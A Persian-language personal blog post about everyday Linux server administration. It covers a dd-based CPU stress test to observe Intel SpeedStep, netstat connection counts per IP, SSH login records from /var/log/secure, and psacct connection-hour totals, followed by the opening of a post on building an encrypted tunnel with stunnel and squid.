اینجاست که باید مشکوک شید که نکنه کلاهی گذاشته شده سرتون! چرا فرکانس واقعی در حال کار پردازشگر ۱۶۰۰ مگاهرتزه؟ :) با فرکانس اسمی ۲۴۰۰ اینقدر اختلاف داره؟ که بعد متوجه می‌شیم آقای اینتل این پردازنده رو مجهز کرده به اسپید استپ که دقیقا کارش اینه که فقط زمانایی که لازمه و فشاری هست فرکانس پردازشگر بره بالا و از این طریق هم توی مصرف انرژی صرفه جویی شده باشه و هم طول عمر پردازشگر بالا بره!

برای اینکه مطمئن شیم باید یه جوری سیستم رو تحت فشار قرار بدیم! :)

[root@novid ~]# fulload() { dd if=/dev/zero of=/dev/null | dd if=/dev/zero of=/dev/null | dd if=/dev/zero of=/dev/null | dd if=/dev/zero of=/dev/null & }; fulload; read; killall dd

1	[root@novid ~]# fulload() { dd if=/dev/zero of=/dev/null \| dd if=/dev/zero of=/dev/null \| dd if=/dev/zero of=/dev/null \| dd if=/dev/zero of=/dev/null & }; fulload; read; killall dd

جالب نیست؟ به صورت موازی و همزمان، میایم تا زمان نامحدودی اطلاعات بیخودی و در وری (صفر) روی هارد می‌نویسیم! بعد توی تب جدید می‌ریم وضعیت فرکانسای پردازشگر رو چک می‌کنیم :)

[root@novid ~]# cat /proc/cpuinfo | grep “cpu MHz”
cpu MHz         : 2401.000
cpu MHz         : 2401.000
cpu MHz         : 2401.000
cpu MHz         : 1600.000
cpu MHz         : 1600.000
cpu MHz         : 1600.000
cpu MHz         : 1600.000
cpu MHz         : 2401.000

[root@novid ~]# cat /proc/cpuinfo | grep “cpu MHz”

cpu MHz : 2401.000

cpu MHz : 1600.000

cpu MHz : 2401.000

کار بیشتر کشدیدم، هسته‌های بیشتری تحریک شدن و تا حداکثر فرکانس ممکن هم دارن کار می‌کنن :) راضی هستیم و می‌ریم سراغ بقیه کار!

یکی از کارایی که بعد راه افتادن امکانات مختلف روی سرور حتما باید هرازگاهی چک کنید، تعداد افراد آنلاین و لحظه‌ای هست! اینکه آدمای مختلف دقیقا با چه آی‌پی‌هایی و چه پورت‌هایی به سرور وصل شدن و دارن از خدمات مختلف مثل ssh و یا دیدن سایت و بقیه امکانات بهره می‌برن :) و از همه مهمتر، آیا یک آی‌پی به صورت غیر عادی داره از منابع سیستم استفاده می‌کنه؟

root@novid [~]# netstat -ntu | awk ‘{print $5}’ | cut -d: -f1 | sort | uniq -c | sort -n

     11 127.100.100.103
     14 127.0.0.1
     18 127.0.122.98
     39 192.168.1.1

root@novid [~]# netstat -ntu | awk ‘{print $5}’ | cut -d: -f1 | sort | uniq -c | sort -n

11 127.100.100.103

14 127.0.0.1

18 127.0.122.98

39 192.168.1.1

همم، به ترتیب از کمترین تا بیشترین استفاده یهو براتون لیست می‌شه‌:) یه نفر تونسته تا چهل کانکشن مختلف به سرور بزنه! می‌شه با توجه به قدرت سخت افزار و اینجور مسائل،‌ محدودیت گذاشت تا افراد از یه حدی بیشتر نتونن از منابع استفاده کنن.

فرض کنید میزبان سایتی هستید و می‌خواید ببینید دقیقا چقدر آدم داره از سایتتون بازدید به عمل می‌یاره!؟

root@novid [~]# netstat -an | grep :80|wc -l
83

1 2	root@novid [~]# netstat -an \| grep :80\|wc -l 83

زیباست :) ۸۳ نفر دارن از پورت ۸۰ استفاده میکنن!

فکر کنید حقوق و دستمزد ساعتی دارید می‌گیرید؟ خب باید یه طوری نشون بدید که چند ساعت وصل بودید از خونه دیگه؟

یه راه اینه آمار ساعتایی رو که با ssh وصل شدید به سرور رو در بیارید، تمام موارد مهم مثل لاگین شدن توی سنت او اس در فایلی به اسم secure ثبت می‌شه! پس با دستور زیر سعی میکنیم به هدفمون برسیم!

[root@novid  ~]# cat /var/log/secure | grep Accepted
Feb 18 22:39:20  novid sshd[10473]: Accepted publickey for root from  127.0.0.1 port 48198 ssh2
Feb 19 00:31:30  novid sshd[11906]: Accepted publickey for root from  127.0.0.1 port 42468 ssh2
Feb 19 00:38:21  novid sshd[12408]: Accepted publickey for root from  127.0.0.1 port 43839 ssh2
Feb 19 01:57:45  novid sshd[14260]: Accepted publickey for root from  127.0.0.1 port 57599 ssh2

[root@novid ~]# cat /var/log/secure | grep Accepted

Feb 18 22:39:20 novid sshd[10473]: Accepted publickey for root from 127.0.0.1 port 48198 ssh2

Feb 19 00:31:30 novid sshd[11906]: Accepted publickey for root from 127.0.0.1 port 42468 ssh2

Feb 19 00:38:21 novid sshd[12408]: Accepted publickey for root from 127.0.0.1 port 43839 ssh2

Feb 19 01:57:45 novid sshd[14260]: Accepted publickey for root from 127.0.0.1 port 57599 ssh2

الان می‌تونید حتی آمار کسایی که بدون اطلاع شما وصل شدن ssh رو هم در بیارید اما هنوز روش خوبی نیست برای اینکه بشه حقوق ساعتی رو به صورت مستند دریافت کرد.

با کمی جستجو به برنامه psacct می‌رسیم و متوجه می‌شیم یک برنامه شاهکاره! :)

[root@novid ~]# ac
        total       71.10

1 2	[root@novid ~]# ac total 71.10

جالبناک شد! در مجموع ۷۱ ساعت وصل بودم به سرور که با اضافه کردن d به دستور می‌شه حتی به تفکیک روز آمار رو گرفت!

خب ساعت دو و چهل دقیقه صبحه، به نظرم دیگه کافیه برای امروز!

منبع عکس

20 فوریه 2013

با استونل، تونل امن بسازید

استونل چیه؟ برنامه‌ای که میاد اطلاعات رد و بدل شده رو رمزنگاری میکنه.
اما به تنهایی هیچ کاربردی نداره و همیشه پشت سرش یه برنامه دیگه هست. یه جورایی میشه گفت مثل آپاچی می‌مونه و نقش گارسونی رو برعهده داره که دم در رستوران (پورت) به گوش ایستاده و همه درخواست‌ها رو می‌گیره و پاس میده به برنامه پشت سری (سرآشپز) :) و بعد دوباره جواب (غذای دستپخت سرآشپز) رو بعد از اینکه رمزنگاری کرد! به دست مشری می‌رسونه و بنابراین وسط راه کسی متوجه نوع غذا نمی‌شه، اینکه پیتزاست و یا ساندویچ دیگه معلوم نیست!

حالا بریم سراغ یکی از برنامه‌های پشت سری و کاربردی اسکوئید! اسکوئید دو تا نقش مهم داره یکی به عنوان استفاده کش و دیگری پروکسی. حالا توی مورد ما قراره کاربر از طریق استونل درخواست خودش رو به صورت رمز شده بفرسته به سرور، درون سرور استونل درخواست کاربر و مشتری رو هدایت می‌کنه به سمت اسکوئید و اون هم سایت مورد درخواست کاربر رو باز میکنه روی سروری که دارید، و جواب رو تحویل استونل می‌ده و در نهایت استونل هم جواب رو به صورت رمز شده به سمت کاربر هدایت می‌کنه :)

حالا که روند کار مشخص شد، می‌ریم سراغ ریزه کاری‌ها

(بیشتر…)

29 ژانویه 2013